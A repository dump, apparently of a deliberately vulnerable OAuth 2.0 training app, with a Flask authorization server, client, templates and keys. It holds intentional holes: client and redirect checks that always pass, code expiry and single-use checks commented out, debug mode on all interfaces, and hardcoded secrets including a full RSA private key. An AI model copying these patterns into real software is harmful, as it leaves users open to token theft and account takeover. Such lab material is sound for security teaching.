7 | generate_access_token, generate_authorization_code,
8 | verify_authorization_code, verify_client_info,
9 | JWT_LIFE_SPAN)
10 | from flask import Flask, redirect, render_template, request,jsonify
11 | from cryptography.fernet import Fernet
12 |
13 | KEY = b'YHD1m3rq3K-x6RxT1MtuGzvyLz4EWIJAEkRtBRycDHA='
14 |
15 | app = Flask(__name__)
16 | app.config["DEBUG"] = True
17 | app.config['SECRET_KEY'] = 'pavankumar'
18 |
19 | # client = MongoClient('127.0.0.1:27017')
20 | # # db = client.OAuth
21 |
22 | f = Fernet(KEY)
23 |
24 | @app.route('/auth')
25 | def auth():
26 | # Describe the access request of the client and ask user for approval
27 | client_id = request.args.get('client_id')
28 | redirect_url = request.args.get('redirect_url')
29 |
30 | if None in [ client_id, redirect_url ]:
31 | return json.dumps({
32 | "error": "invalid_request"
33 | }), 400
34 |
35 | if not verify_client_info(client_id, redirect_url):
36 | return json.dumps({
37 | "error": "invalid_client"
38 | })
39 |
40 | return render_template('AC_grant_access.html',
41 | client_id = client_id,
42 | redirect_url = redirect_url)
43 |
44 | def process_redirect_url(redirect_url, authorization_code):
45 | # Prepare the redirect URL
46 | url_parts = list(urlparse(redirect_url))
47 | queries = dict(parse_qsl(url_parts[4]))
48 | queries.update({ "authorization_code": authorization_code })
49 | url_parts[4] = urlencode(queries)
50 | url = urlunparse(url_parts)
51 | return url
52 |
53 | @app.route('/signin', methods = ['POST'])
54 | def signin():
55 | # Issues authorization code
56 | username = request.form.get('username')
57 | password = request.form.get('password')
58 | client_id = request.form.get('client_id')
59 | redirect_url = request.form.get('redirect_url')
60 |
61 | if None in [ username, password, client_id, redirect_url ]:
62 | return json.dumps({
63 | "error": "invalid_request"
64 | }), 400
65 |
66 | if not verify_client_info(client_id, redirect_url):
67 | return json.dumps({
68 | "error": "invalid_client"
69 | })
70 |
71 | if not authenticate_user_credentials(username, password):
72 | # return data
73 | return json.dumps({
74 | 'error': 'access_denied'
75 | }), 401
76 |
77 | authorization_code = generate_authorization_code(client_id, username)
78 |
79 | url = process_redirect_url(redirect_url, authorization_code)
80 |
81 | return redirect(url, code = 303)
82 |
83 | @app.route('/token', methods = ['POST'])
84 | def exchange_for_token():
85 | # Issues access token
86 | authorization_code = request.form.get('authorization_code')
87 | client_id = request.form.get('client_id')
88 | client_secret = request.form.get('client_secret')
89 | redirect_url = request.form.get('redirect_url')
90 |
91 | if None in [ authorization_code, client_id, client_secret, redirect_url ]:
92 | return json.dumps({
93 | "error": "invalid_request"
94 | }), 400
95 |
96 | if not authenticate_client(client_id, client_secret):
97 | return json.dumps({
98 | "error": "invalid_client"
99 | }), 400
100 |
101 | data = verify_authorization_code(authorization_code, client_id, redirect_url)
102 | if data == "False":
103 | return json.dumps({
104 | "error": "access_denied"
105 | }), 400
106 | access_token = generate_access_token(data)
107 |
108 | return json.dumps({
109 | "access_token": access_token.decode(),
110 | "token_type": "JWT",
111 | "expires_in": JWT_LIFE_SPAN
112 | })
113 |
114 |
115 | if __name__ == '__main__':
116 | #context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
117 | #context.load_cert_chain('domain.crt', 'domain.key')
118 | #app.run(port = 5000, debug = True, ssl_context = context)
119 | app.run(port = 5001, host='0.0.0.0', debug = True)
120 |
--------------------------------------------------------------------------------
/code/auth_server/__pycache__/auth.cpython-36.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/topavankumarj/Vulnerable-OAuth2.0-Application/a4b01437cbb43276571e75a7c883c8439fc4bc31/code/auth_server/__pycache__/auth.cpython-36.pyc
--------------------------------------------------------------------------------
/code/auth_server/__pycache__/auth.cpython-37.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/topavankumarj/Vulnerable-OAuth2.0-Application/a4b01437cbb43276571e75a7c883c8439fc4bc31/code/auth_server/__pycache__/auth.cpython-37.pyc
--------------------------------------------------------------------------------
/code/auth_server/auth.py:
--------------------------------------------------------------------------------
1 | import base64
2 | import cryptography
3 | import json
4 | import jwt
5 | import secrets
6 | import time
7 | from werkzeug.security import generate_password_hash, check_password_hash
8 | from pymongo import MongoClient
9 |
10 | from cryptography.fernet import Fernet
11 |
12 | #KEY = Fernet.generate_key()
13 | KEY = b'YHD1m3rq3K-x6RxT1MtuGzvyLz4EWIJAEkRtBRycDHA='
14 |
15 | ISSUER = 'sample-auth-server'
16 | CODE_LIFE_SPAN = 600
17 | JWT_LIFE_SPAN = 1800
18 |
19 | client = MongoClient('db_mongo:27017')
20 | db = client.OAuth
21 |
22 | authorization_codes = {}
23 |
24 | f = Fernet(KEY)
25 |
26 | with open('/OAuth_Vuln/auth_server/private.pem', 'rb') as file:
27 | private_key = file.read()
28 |
29 | def authenticate_user_credentials(username, password):
30 | data = db.Register.find_one({"Email":username})
31 | print(data)
32 | if data:
33 | authenticated = check_password_hash(data.get('Password'), password)
34 | if not authenticated:
35 | # data = {"error":"Invaid creds!"}
36 | return False
37 | else:
38 | return True
39 | # token = jwt.encode({"ID":data.get('ID', None).encode('utf-8'), "exp":datetime.datetime.utcnow()+datetime.timedelta(minutes=30)}, key=app.config["SECRET_KEY"],algorithm='HS256')
40 | # data = {"token":token.decode("utf-8")}
41 | # return data
42 | else:
43 | # data = {"error":"No user found!"}
44 | return False
45 | # data = {"message":"Invalid Credentials"}
46 | return False
47 |
48 | def authenticate_client(client_id, client_secret):
49 | # print("Client_ID ==>" , client_id , "Client Scret==>",client_secret)
50 | data = db.Oauth2_cred.find_one({"Client_ID":client_id})
51 | # print(data.get)
52 | if data.get('Client_Secret') == client_secret:
53 | return True
54 | else:
55 | return False
56 | # if data:
57 |
58 |
59 | def verify_client_info(client_id, redirect_url):
60 | return True
61 |
62 | def generate_access_token(data):
63 | payload = {
64 | "username":data,
65 | "iss": ISSUER,
66 | "exp": time.time() + JWT_LIFE_SPAN
67 | }
68 |
69 | access_token = jwt.encode(payload, private_key, algorithm = 'RS256')
70 |
71 | return access_token
72 |
73 | def generate_authorization_code(client_id, username):
74 | #f = Fernet(KEY)
75 | authorization_code = f.encrypt(json.dumps({
76 | "username":username,
77 | "client_id": client_id,
78 | }).encode())
79 |
80 | authorization_code = base64.b64encode(authorization_code, b'-_').decode().replace('=', '')
81 |
82 | expiration_date = time.time() + CODE_LIFE_SPAN
83 |
84 | authorization_codes[authorization_code] = {
85 | "username":username,
86 | "client_id": client_id,
87 | "exp": expiration_date
88 | }
89 |
90 | return authorization_code
91 |
92 | def verify_authorization_code(authorization_code, client_id):
93 | #f = Fernet(KEY)
94 | record = authorization_codes.get(authorization_code)
95 | if not record:
96 | data = "False"
97 | return data
98 |
99 | client_id_in_record = record.get('client_id')
100 | username_in_record = record.get('username')
101 | exp = record.get('exp')
102 |
103 | if client_id != client_id_in_record:
104 | data = "False"
105 | return data
106 |
107 | # if exp < time.time():
108 | # data = "False"
109 | # return data
110 |
111 | # del authorization_codes[authorization_code]
112 |
113 | # return True
114 | return username_in_record
115 |
--------------------------------------------------------------------------------
/code/auth_server/private.pem:
--------------------------------------------------------------------------------
1 | -----BEGIN RSA PRIVATE KEY-----
2 | MIIEoAIBAAKCAQEAqt6NInZQ8Ty9wfprXhPxG16zV7Svd2DhJ3j6ZS/zfkThSeuo
3 | 11fTcoxt8MaI5orORQDfRKLtwlYd9KnDR93YI6JFyPDEzAoXkW9RRig2NiOHoOR3
4 | 68mu7NbA2R3F8jqIER42R24/AKUTkU9LPjusKZBUcADImLg9698GM5125x2s4j2U
5 | +T68jERRO4iEIPG9dVK98Y+vZ8XN29kb4AOKOtkO4ZFCrN2R6GbpvACShgczMgxg
6 | b4q3BZnB/RVkRFv4sW0AdO5jie7WKpP8XHeT3eifdt77uhoLjUSvpqs6VLYAc9xE
7 | pxCmzu63XNqVV7S8Qnzs05wyJk5LytdtEnnHXwIDAQABAoIBAH76D6uyfQgoeWNz
8 | cuJgs2YBhAkDTvnJ1sf8kScs8Se+jCTgqYIN1CZl0TWCdC3OrOZ+dWyOH12xnWU5
9 | 2tLHO12Ps4hV1AlE3qrHLICUVWT6FkosPinMoN+D35/5Diap9H+0EeYXOV6DTf1I
10 | DcRbl97zUKxDCM7k668i93rX44pvPisuT6bWPHjId465pv2lXx1xP//8c3hlTcF+
11 | lzAsHqhUZYFhw8XcBeItzza5H2h/ePpbN62u6b5n5PFYmoOpRrNnyGrx3JS03+N+
12 | NFfhGkB87IjJdjwGtUWBSTDYem7Jktuv8nqZOMJ7LZpuORt1iEkDx4UZN24M/Cy6
13 | ePN8HlECgYEA1NRAXlDQAa98L5qXhONF3pqSAvbIlI3uYJhnGbGwcYnvmjzPy/VW
14 | fp672VfSl79ZgoBJTbOGxRL2YS8RkxlB3pmzGd7DnkGqduWhesePRhBp9dFFi5GG
15 | T2C4MlB//Hg6JEWsNuJToYLfFf6UeP2gh0DnMtIwCTGlc3F+RMcirIsCgYEAzYdr
16 | 2Nhci9Uyb6jnYRPpg6aTSTZ9Hisno7oHekFmDrDf9p2sgWO1kJcTkMsUCHSUGBGb
17 | cyd2/a8NdPZFcH1+JsSGQG/Ib3D8iMW64hmtjptCBND/J90nCQMFFF/9Xfi4sz88
18 | RNfB/yYL80wmiEomBGxSeP/k7fi50oFeFvK+Bv0CgYA0kekEYvm+MNZ/+7OJg4ny
19 | nkOKr+KDrzs+aOaulhF7OhMRCgxZ2NPwmszTtrmx+fXmIkH5C2syqqhpAPNaXlbC
20 | 4Tw4G6o+IQI2NCpa5YgiSlOiAHspKlz+pmlZJEE434mdBAix1d3Ke0UXbbbG2/8W
21 | 6ZUyHHD5FGZFybbizj1mWQKBgGXXRo9KloELgVRm40/tJ/Z+IdlTUKgURi4Qzge8
22 | RC/fYPq4onPyzlL5KU7D8gdGjONoRhjHY2TMyuQ766iT5mCbXNKtESp3WAsFv1at
23 | 1pwlPo9YaDZ+lQsYHfo8njVkO1FGcjzClHQzjBRglW9PHotuiWc/lVZ9usYeKFtC
24 | qPqZAn8hxKv+PXKp7wykDKJFw2+k3Ask/dBF9lPH9EqGKbyiX3w848txLixRu1r8
25 | Zp/P34Wq1UekJrxBU+Qes6IDTgnUDthhEdOtwrtfBe++wqAclVz7fd6BPEHUKmhu
26 | XsxGuWoTyvadcwQ2dCqaoAA5WQ0nvlXj8vYaTtjC9gbpt8w7
27 | -----END RSA PRIVATE KEY-----
28 |
--------------------------------------------------------------------------------
/code/auth_server/templates/AC_grant_access.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Grant Access
5 |
6 |
7 |
8 |

9 |
CoolMart is requesting access to your account:
10 |
Sign in to grant access.
11 |
22 |
23 |
24 |
25 |
--------------------------------------------------------------------------------
/code/client/AC_client.py:
--------------------------------------------------------------------------------
1 | import json
2 | import requests
3 | #import ssl
4 |
5 | from flask import (Flask, make_response, render_template, redirect, request,
6 | url_for)
7 |
8 | AUTH_PATH = 'http://localhost:5001/auth'
9 | TOKEN_PATH = 'http://localhost:5001/token'
10 | RES_PATH = 'http://localhost:5002/user_details'
11 | REDIRECT_URL = 'http://localhost:5000/callback'
12 |
13 | CLIENT_ID = 'testing.com'
14 | CLIENT_SECRET = 'dXg3cEpEazVKQVpYYmMxZDBmYzAtZjc4My00NzgzLTg3OGYtNGUzZjQwYzRjOTU3'
15 |
16 | app = Flask(__name__)
17 |
18 | @app.before_request
19 | def before_request():
20 | # Redirects user to the login page if access token is not present
21 | if request.endpoint not in ['login', 'callback']:
22 | access_token = request.cookies.get('access_token')
23 | if access_token:
24 | pass
25 | else:
26 | return redirect(url_for('login'))
27 |
28 | @app.route('/')
29 | def main():
30 | # Retrieves a list of users
31 | access_token = request.cookies.get('access_token')
32 |
33 | r = requests.get(RES_PATH, headers = {
34 | 'Authorization': 'Bearer {}'.format(access_token)
35 | })
36 |
37 | if r.status_code != 200:
38 | return json.dumps({
39 | 'error': 'The resource server returns an error: \n{}'.format(
40 | r.text)
41 | }), 500
42 | print(r.text)
43 | print('*'*100)
44 | users_details = json.loads(r.text).get('results')
45 | print('users_details ==============> ',users_details)
46 | for cli in users_details:
47 | print('user deta in for',cli)
48 |
49 | return render_template('user_details.html', users_details = users_details)
50 |
51 | @app.route('/login')
52 | def login():
53 | # Presents the login page
54 | return render_template('AC_login.html',
55 | dest = AUTH_PATH,
56 | client_id = CLIENT_ID,
57 | redirect_url = REDIRECT_URL)
58 |
59 | @app.route('/callback')
60 | def callback():
61 | # Accepts the authorization code and exchanges it for access token
62 | authorization_code = request.args.get('authorization_code')
63 |
64 | if not authorization_code:
65 | return json.dumps({
66 | 'error': 'No authorization code is received.'
67 | }), 500
68 |
69 | r = requests.post(TOKEN_PATH, data = {
70 | "grant_type": "authorization_code",
71 | "authorization_code": authorization_code,
72 | "client_id" : CLIENT_ID,
73 | "client_secret" : CLIENT_SECRET,
74 | "redirect_url": REDIRECT_URL
75 | })
76 |
77 | if r.status_code != 200:
78 | return json.dumps({
79 | 'error': 'The authorization server returns an error: \n{}'.format(
80 | r.text)
81 | }), 500
82 |
83 | access_token = json.loads(r.text).get('access_token')
84 |
85 | response = make_response(redirect(url_for('main')))
86 | response.set_cookie('access_token', access_token)
87 | return response
88 |
89 |
90 | if __name__ == '__main__':
91 | #context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
92 | #context.load_cert_chain('domain.crt', 'domain.key')
93 | #app.run(port = 5000, debug = True, ssl_context = context)
94 | app.run(port = 5000, host='0.0.0.0', debug = True)
95 |
--------------------------------------------------------------------------------
/code/client/public.pem:
--------------------------------------------------------------------------------
1 | -----BEGIN PUBLIC KEY-----
2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqt6NInZQ8Ty9wfprXhPx
3 | G16zV7Svd2DhJ3j6ZS/zfkThSeuo11fTcoxt8MaI5orORQDfRKLtwlYd9KnDR93Y
4 | I6JFyPDEzAoXkW9RRig2NiOHoOR368mu7NbA2R3F8jqIER42R24/AKUTkU9LPjus
5 | KZBUcADImLg9698GM5125x2s4j2U+T68jERRO4iEIPG9dVK98Y+vZ8XN29kb4AOK
6 | OtkO4ZFCrN2R6GbpvACShgczMgxgb4q3BZnB/RVkRFv4sW0AdO5jie7WKpP8XHeT
7 | 3eifdt77uhoLjUSvpqs6VLYAc9xEpxCmzu63XNqVV7S8Qnzs05wyJk5LytdtEnnH
8 | XwIDAQAB
9 | -----END PUBLIC KEY-----
10 |
--------------------------------------------------------------------------------
/code/client/templates/AC_login.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Sign in
5 |
6 |
7 |
8 |

9 |
13 |
14 |
15 |
16 |
--------------------------------------------------------------------------------
/code/client/templates/user_details.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | User Details (Web Application)
5 |
6 |
7 |
8 |

9 |
User Details
10 |
11 |
12 | {% for cli in users_details %}
13 |
14 | Name |
15 |
16 |
17 | {{ cli['Name'] }} |
18 |
19 |
20 | Email |
21 |
22 |
23 | {{ cli['Email'] }} |
24 |
25 |
26 | User UUID |
27 |
28 |
29 | {{ cli['UUID'] }} |
30 |
31 |
32 | {% endfor %}
33 |
34 |
35 |
36 |
37 |
38 |
--------------------------------------------------------------------------------
/code/client/templates/users.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Resource Owner Password Credentials Client (Web Application)
5 |
6 |
7 | Available Users
8 |
9 |
10 |
11 | Name |
12 | Email |
13 |
14 | {% for user in users %}
15 |
16 | {{ user['Name'] }} |
17 | {{ user['email'] }} |
18 |
19 | {% endfor %}
20 |
21 |
22 |
23 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | asn1crypto==0.24.0
2 | certifi==2019.3.9
3 | cffi==1.12.2
4 | chardet==3.0.4
5 | Click==7.0
6 | cryptography==2.6.1
7 | Flask==1.0.2
8 | idna==2.8
9 | itsdangerous==1.1.0
10 | Jinja2==2.10.1
11 | jwt==0.6.1
12 | MarkupSafe==1.1.1
13 | pkg-resources==0.0.0
14 | pycparser==2.19
15 | PyJWT==1.7.1
16 | pymongo==3.7.2
17 | pyOpenSSL==19.0.0
18 | requests==2.21.0
19 | six==1.12.0
20 | urllib3==1.24.1
21 | Werkzeug==0.15.2
22 |
--------------------------------------------------------------------------------